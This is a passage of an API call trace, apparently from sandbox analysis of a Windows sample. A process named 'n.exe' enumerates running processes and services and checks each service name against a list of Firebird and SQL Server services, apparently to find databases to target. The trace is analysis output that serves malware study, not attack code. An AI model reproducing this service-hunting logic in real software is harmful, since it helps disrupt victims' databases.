cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.236] lstrlenW (lpString="lsass.exe") returned 9 [0160.236] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0160.236] lstrlenW (lpString="lsm.exe") returned 7 [0160.236] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.237] lstrlenW (lpString="svchost.exe") returned 11 [0160.237] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.237] lstrlenW (lpString="svchost.exe") returned 11 [0160.237] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.237] lstrlenW (lpString="svchost.exe") returned 11 [0160.237] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.238] lstrlenW (lpString="svchost.exe") returned 11 [0160.238] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.238] lstrlenW (lpString="svchost.exe") returned 11 [0160.238] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.238] lstrlenW (lpString="audiodg.exe") returned 11 [0160.238] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.239] lstrlenW (lpString="svchost.exe") returned 11 [0160.239] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.239] lstrlenW (lpString="explorer.exe") returned 12 [0160.239] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.239] lstrlenW (lpString="dwm.exe") returned 7 [0160.239] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.240] lstrlenW (lpString="svchost.exe") returned 11 [0160.240] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0160.240] lstrlenW (lpString="n.exe") returned 5 [0160.240] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.240] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.241] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.241] lstrlenW (lpString="svchost.exe") returned 11 [0160.241] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0160.241] lstrlenW (lpString="taskhost.exe") returned 12 [0160.241] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0160.241] lstrlenW (lpString="reader_sl.exe") returned 13 [0160.242] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0160.242] lstrlenW (lpString="n.exe") returned 5 [0160.242] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.242] lstrlenW (lpString="dllhost.exe") returned 11 [0160.242] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0160.243] lstrlenW (lpString="dllhost.exe") returned 11 [0160.243] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0160.243] lstrlenW (lpString="n.exe") returned 5 [0160.243] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0160.243] CloseHandle (hObject=0x2f8) returned 1 [0160.243] Sleep (dwMilliseconds=0x1f4) [0160.796] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3bf61c0 [0160.796] EnumServicesStatusExW (in: hSCManager=0x3bf61c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0160.796] GetLastError () returned 0xea [0160.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0160.797] EnumServicesStatusExW (in: hSCManager=0x3bf61c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0160.797] CloseServiceHandle (hSCObject=0x3bf61c0) returned 1 [0160.798] lstrlenW (lpString="Appinfo") returned 7 [0160.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.798] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.798] lstrlenW (lpString="AudioSrv") returned 8 [0160.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0160.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0160.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0160.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0160.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0160.798] lstrlenW (lpString="BFE") returned 3 [0160.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.798] lstrlenW (lpString="CryptSvc") returned 8 [0160.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.799] lstrlenW (lpString="CscService") returned 10 [0160.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0160.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0160.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0160.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0160.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0160.799] lstrlenW (lpString="DcomLaunch") returned 10 [0160.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.799] lstrlenW (lpString="Dhcp") returned 4 [0160.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.799] lstrlenW (lpString="Dnscache") returned 8 [0160.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.800] lstrlenW (lpString="DPS") returned 3 [0160.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.800] lstrlenW (lpString="eventlog") returned 8 [0160.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0160.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0160.800] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0160.800] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0160.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0160.800] lstrlenW (lpString="EventSystem") returned 11 [0160.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.800] lstrlenW (lpString="gpsvc") returned 5 [0160.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.800] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.800] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.800] lstrlenW (lpString="iphlpsvc") returned 8 [0160.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.800] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.800] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.801] lstrlenW (lpString="LanmanServer") returned 12 [0160.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.801] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.801] lstrlenW (lpString="lmhosts") returned 7 [0160.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.801] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.801] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.801] lstrlenW (lpString="MMCSS") returned 5 [0160.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0160.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0160.801] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0160.801] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0160.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0160.801] lstrlenW (lpString="MpsSvc") returned 6 [0160.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.802] lstrlenW (lpString="Netman") returned 6 [0160.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0160.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0160.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0160.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0160.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0160.802] lstrlenW (lpString="netprofm") returned 8 [0160.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.802] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.802] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.802] lstrlenW (lpString="NlaSvc") returned 6 [0160.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.802] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.802] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.802] lstrlenW (lpString="nsi") returned 3 [0160.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.802] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.802] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.802] lstrlenW (lpString="PcaSvc") returned 6 [0160.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.803] lstrlenW (lpString="PlugPlay") returned 8 [0160.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.803] lstrlenW (lpString="Power") returned 5 [0160.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.803] lstrlenW (lpString="ProfSvc") returned 7 [0160.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.803] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.803] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.803] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.803] lstrlenW (lpString="RpcSs") returned 5 [0160.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.804] lstrlenW (lpString="SamSs") returned 5 [0160.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.804] lstrlenW (lpString="Schedule") returned 8 [0160.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.804] lstrlenW (lpString="SENS") returned 4 [0160.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.804] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.805] lstrlenW (lpString="Spooler") returned 7 [0160.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.805] lstrlenW (lpString="SysMain") returned 7 [0160.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.805] lstrlenW (lpString="Themes") returned 6 [0160.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.805] lstrlenW (lpString="TrkWks") returned 6 [0160.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0160.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0160.805] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0160.805] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0160.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned 